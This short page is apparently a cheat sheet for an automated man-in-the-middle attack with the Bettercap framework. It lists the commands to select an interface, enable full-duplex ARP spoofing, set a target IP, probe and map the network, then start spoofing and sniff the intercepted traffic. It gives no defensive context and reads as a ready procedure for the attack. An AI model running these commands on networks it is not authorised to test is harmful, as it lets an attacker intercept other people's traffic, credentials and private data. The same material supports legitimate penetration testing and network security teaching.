Man in the Middle (MITM) Automatic

Attack that automates ARP spoofing and traffic interception using the Bettercap framework.

Setup

Command Description
bettercap -iface eth0 Starts Bettercap on the specified network interface.
set arp.spoof.fullduplex true Enables full-duplex spoofing to intercept traffic in both directions.
set arp.spoof.internal true Allows spoofing of internal network traffic.
set arp.spoof.targets [target_IP] Sets the target IP address for the spoofing attack.

Scanning

Command Description
net.probe on Actively probes the network to discover connected devices.
net.recon on Enables network reconnaissance to map discovered hosts.
net.show Displays the list of discovered hosts, including their IP addresses, so you can identify the target.

Execution

Command Description
arp.spoof on Starts the ARP spoofing attack.
net.sniff on Starts sniffing intercepted network traffic.

Tool Used

This attack was carried out using Bettercap — see the full command reference here.